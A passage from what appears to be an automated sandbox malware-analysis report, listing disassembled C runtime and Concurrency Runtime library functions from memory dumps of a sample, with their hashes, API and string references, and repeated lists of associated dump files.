Opcode ID: 64d5fea2e315c65df3773f7c42838bfc154619de1837e1f05e22cf14484bf451
Instruction ID: 47e1c7359ab79f4a3c91fb9d7f920378fa97ef0d2a60ebdb8fee3fc679fd5c8c
Opcode Fuzzy Hash: 64d5fea2e315c65df3773f7c42838bfc154619de1837e1f05e22cf14484bf451
Instruction Fuzzy Hash: A301042765C623356A145119AD02F7A23C8DBC3BB4B2640AFFC64F72C2EF44DC4361A8

Function 00B8FA71 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B8FB06

Strings

kernel32.dll, xrefs: 00B8FA7A
GetThreadGroupAffinity, xrefs: 00B8FA93
GetCurrentProcessorNumberEx, xrefs: 00B8FABE
SetThreadGroupAffinity, xrefs: 00B8FA87

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: GetCurrentProcessorNumberEx$GetThreadGroupAffinity$SetThreadGroupAffinity$kernel32.dll
API String ID: 348560076-465693683
Opcode ID: c4ee3c3f12b693a52f54db2cfcedef16b344810f9bae5569cde2dfce31d8424d
Instruction ID: e893332f97ceaa1e1da8d6a08d931ab22808d28725b7c8f04527813da92308c9
Opcode Fuzzy Hash: c4ee3c3f12b693a52f54db2cfcedef16b344810f9bae5569cde2dfce31d8424d
Instruction Fuzzy Hash: 5701F965B5171A2DD72876B89C8BEBB66DCCA4261072008BBB401E3162FEB4D8008270

Function 00BA2097 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00BA20B7

Part of subcall function 00B9CAF3: Mailbox.LIBCMT ref: 00B9CB2D

Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA20C8
StructuredWorkStealingQueue.LIBCMT ref: 00BA20FE
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00BA210F

Strings

e, xrefs: 00BA20D9

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured$Mailbox
String ID: e
API String ID: 1411586358-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: 4557891558e9efcb5450756b700e5669296ced43f725ba90a0cc51778a000637
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: EF11A031208145ABDB55DF7DC881AAA77E5EF07324B2481EAFC06EF202DB71D901CBA0

Function 00B8D029 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 59COMMON

Download Yara Rule

APIs

___scrt_fastfail.LIBCMT ref: 00B8D0A5

Strings

kernel32.dll, xrefs: 00B8D04C
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00B8D03B
WakeAllConditionVariable, xrefs: 00B8D069
SleepConditionVariableCS, xrefs: 00B8D05D

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ___scrt_fastfail
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2964418898-3242537097
Opcode ID: d11110f206c3d90065db62dcbc433aaf13ffff8d6e56e6206ea4e43ad6862788
Instruction ID: a87f6a71ff4ffd9e003871a1a8d34fa6b28723eeacb3e2321acec15585363178
Opcode Fuzzy Hash: d11110f206c3d90065db62dcbc433aaf13ffff8d6e56e6206ea4e43ad6862788
Instruction Fuzzy Hash: 8001A221B8271569D6393B759C2EE5B67C8CB42B50F25159BBC00F32F4EDA4CC0186A1

Function 00BB4C14 Relevance: 7.7, APIs: 5, Instructions: 199COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00BB4C98
__alloca_probe_16.LIBCMT ref: 00BB4D5E
__freea.LIBCMT ref: 00BB4DCA

Part of subcall function 00BAB04B: RtlAllocateHeap.NTDLL(00000000,3F7B10E6,?,?,00B8D3FC,3F7B10E6,?,00B87A8B,?,?,?,?,?,?,00B77465,?), ref: 00BAB07D

__freea.LIBCMT ref: 00BB4DD3
__freea.LIBCMT ref: 00BB4DF6

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013389253.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3013789919.0000000000E7B000.00000040.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: f15ce922f1593445118d5d6aa3fb1cbfd418e1ff1a913a1b58a6ad53182e9bec
Instruction ID: cf27ad1f4c7ef8ff87dbf64d89869df1c8582afda22464de26d81443bf4fcf61
Opcode Fuzzy Hash: f15ce922f1593445118d5d6aa3fb1cbfd418e1ff1a913a1b58a6ad53182e9bec
Instruction Fuzzy Hash: 5251C272600216AFEB259F64DC81FFB3BE9EF85750F1506A9FD14A7152EBB0DC1086A0

Function 00B9E8DD Relevance: 7.6, APIs: 5, Instructions: 117COMMON

Download Yara Rule

APIs

Concurrency::location::_Assign.LIBCMT ref: 00B9E91E
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00B9E926
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B9E950
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00B9E959
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00B9E9DC

Memory Dump Source

Source File: 00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2983995177.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2984323446.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985561231.0000000000BD9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2985994807.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986435315.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2986883860.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2987321679.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2989978490.0000000000D36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2990446150.0000000000D38000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D4C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991024411.0000000000D59000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2991936704.0000000000D6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992473943.0000000000D73000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2992977664.0000000000D88000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993415482.0000000000D89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2993816532.0000000000D8A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994245652.0000000000D8B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2994657940.0000000000D8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2995317174.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996099396.0000000000DB3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2996583048.0000000000DB8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2997154485.0000000000DC0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998074802.0000000000DC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998481887.0000000000DC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2998872967.0000000000DC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2999350435.0000000000DDC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000256490.0000000000DDE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3000643123.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001275694.0000000000DEB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3001813416.0000000000DEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3004374319.0000000000DEF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3005279023.0000000000DF7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3006336244.0000000000DF8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007407136.0000000000E07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3007860047.0000000000E08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008391608.0000000000E18000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3008858499.0000000000E38000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010377182.0000000000E50000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3010992496.0000000000E51000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011439579.0000000000E65000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3011913131.0000000000E66000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012319478.0000000000E67000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3012781101.0000000000E6A000.00000040.00000001.01000000.00000007.sdmpDownload File
